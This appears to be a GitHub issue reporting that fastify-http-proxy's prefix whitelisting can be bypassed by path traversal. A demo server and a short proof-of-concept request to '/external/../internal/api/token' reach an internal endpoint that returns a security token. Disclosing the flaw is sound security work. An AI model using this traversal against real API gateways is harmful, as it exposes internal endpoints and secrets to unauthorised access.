Skip to content

API whitelisting behind gateway  #132

@artur-ma

Description

@artur-ma

This is not a real security breach I guess, but some companies rely on api-gateways to whitelist their APIs that are exposed to the world.

For example, I would like to expose only those APIs that have /external prefix

'use strict'

const Fastify = require('fastify')

const target = Fastify({
  logger: false
})

const server = Fastify({
  logger: false
})

target.get('/internal/api/token', (request, reply) => {
  reply.send('Security token: 123')
})

target.get('/external/api/v1', (request, reply) => {
  reply.send('hello world')
})

const proxy = require('fastify-http-proxy')

server.register(proxy, {
  upstream: 'http://localhost:3001',
  prefix: '/external',
  rewritePrefix: '/external',
})


target.listen(3001, (err) => {
  if (err) {
    throw err
  }

  server.listen(3000, (err) => {
    if (err) {
      throw err
    }
  })
})

then execute this snippet(does not work with cURL for some reason):

URL: 'http://127.0.0.1:3000/external/../internal/api/token

var request = require('request');
request.get('http://127.0.0.1:3000/external/../internal/api/token', function (error, response) {
  if (error) throw new Error(error);
  console.log(response.body);
});

will result:

$ node req.js 
Security token: 123

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions